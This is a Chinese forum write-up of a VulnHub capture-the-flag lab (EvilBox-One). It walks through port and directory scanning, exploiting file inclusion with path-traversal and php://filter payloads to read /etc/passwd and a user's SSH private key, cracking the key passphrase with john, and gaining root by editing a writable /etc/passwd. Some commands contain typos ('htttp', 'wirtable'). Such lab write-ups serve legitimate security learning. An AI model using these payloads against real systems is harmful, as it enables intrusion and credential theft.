shanque打靶笔记-day6

山雀7   ·   发表于 2022-06-13 02:20:50   ·   技术文章

DAY6

靶机:https://download.vulnhub.com/evilbox/EvilBox---One.ova
攻击机:kali2022.2
目标:两个flag,root权限
没错,鸽了好久我又来了,主要这次在边界突破卡的有点久

总结

主机发现(新方法fping)
端口扫描、服务探测
路径爆破(用过的dirsearch,gobuster,个人感觉gobuster更快)
参数爆破(下载了新字典集seclists,新工具fuff)
web渗透(模糊测试文件包含漏洞,新知识php封装器)
ssh爆破(探测ssh认证方式,ssh公私钥默认位置,新工具john)
提权(新知识find搜索suid权限文件,搜索可写权限的文件)
想了想把总结写到前面,这样小伙伴们可以看看有没有感兴趣的知识,之前放到最后感觉看到最后的人很少哇

边界突破

信息收集

主机发现

fping -gaq 10.0.3.0/24


靶机ip:10.0.3.11

端口扫描,服务探测

nmap -p- 10.0.3.11
nmap -p22,80 -A 10.0.3.11


22:ssh (ssh暴力破解)
80:apache
linux4.15-5.6

web渗透


根目录动不了手脚

目录扫描

gobuster dir -u htttp://10.0.3.11 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现/secret,/index.html


空白页面,查看源码也是空白,继续扫描
gobuster dir -u htttp://10.0.3.11/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现/evil.php


依旧空空如也,可能是只有目录没有参数。

参数爆破

  1. ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w value.txt:VAL -u http://10.0.3.11/secret/evil.php?PARAM=VAL -fs 0

-w指定字典,第一个是PARAM参数的意思,字典来自burp的专业版,kali可以通过apt-get install seclists来下载seclists里面有很多的字典可用
第二个字典是参数的值,value.txt是我自己写的,在前面的打靶里说过,可以把键盘上所有能敲的字符做一个字典,来尝试让页面报错。-fs 0 是过滤掉回显空白的页面。
当然小伙伴们也可以用burp的爆破模块来做。


并没有发现。试试有没有文件包含漏洞,让字典里的所有参数的值等于一个确定已经有的文件。前面发现了index.php是确定有的。
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.0.3.11/secret/evil.php?FUZZ=../index.html -fs 0
发现command参数可用。


确认漏洞
?command=../../../../../../../etc/passwd/
先跳出到根目录,在访问/etc/passwd


注意这个一看就不像是程序账户的用户mowree,后面要用
确认了有文件包含和任意文件读取漏洞。然后我写了一句话尝试了远程包含失败了,应该是只能本地包含。

php封装器写入文件尝试

?command=php://filter/convert.base64-encode/resource=evil.php
可以读取evil.php的源码然后通过base64加密返回。


解码

  1. <?php
  2. $filename = $_GET['command'];
  3. include($filename);
  4. ?>

如果不声明的话filter封装器默认是用read,也可以用wirte写入文件。只要有写入权限就webshell了。
?command=php://filter/write=convert.base64-decode/resource=test.php&txt=c2hhbnF1ZQo=


ssh爆破

先探测ssh登陆的认证过程
ssh mowree@10.0.3.11 -v


支持ssh公钥登陆。思路明确了,用文件包含去读取默认的ssh公私钥。
?command=../../../../../home/mowree/.ssh/authorized_keys


?command=../../../../../home/mowree/.ssh/id_rsa
在源码中查看私钥会比较友好,不然页面上真是乱的。。。。

创建id_rsa,把获取到的私钥丢进去,给权限。ssh 对目录的权限有要求,代码中要设置下新生成的config文件权限才行。
~目录权限是750,~/.ssh 的是700, ~/.ssh/* 的是600,~/.ssh/config 是700

  1. vi id_rsa
  2. chmod 600 id_rsa
  3. ssh mowree@10.0.3.11 -i id_rsa


私钥文件还有一个密码,我tm直接好家伙。
爆破密码
用到kali自带工具john,先要转换私钥的格式才能用这个工具爆破

  1. cd /usr/share/john
  2. ls ssh2john.py
  3. ./ssh2john.py ~/id_rsa > ~/hash

john hash --wordlist=rockyou.txt


私钥文件的加密密码为unicorn


至此成功突破边界。

内网渗透


第一个flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

提权

sudo -l,内核漏洞,计划任务提权失败后,尝试suid提权
搜索具有suid权限位的文件
find / -perm /4000 2>dev/null


并没有漏洞发现。

查看有没有自己写的有root权限的脚本,我们可以去编辑的
find / -writable 2>/dev/null


居多/proc的,这是个内存映像目录,没用,把它过滤掉
find / -wirtable 2>/dev/null | grep -v proc


???这不给tmROOT密码改了
生成一个密码shanque
openssl passwd -l


把生成的密文贴到/etc/passwd里面,把root后面的代表密码的x删了。


flag2:36QtXfdJWvdC0VavlPIApUbDlqTsBM

用户名金币积分时间理由
Track-劲夫 60.00 0 2022-06-13 11:11:16 一个受益终生的帖子~~

打赏我,让我更有动力~

0 Reply   |  Until 21天前 | 97 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.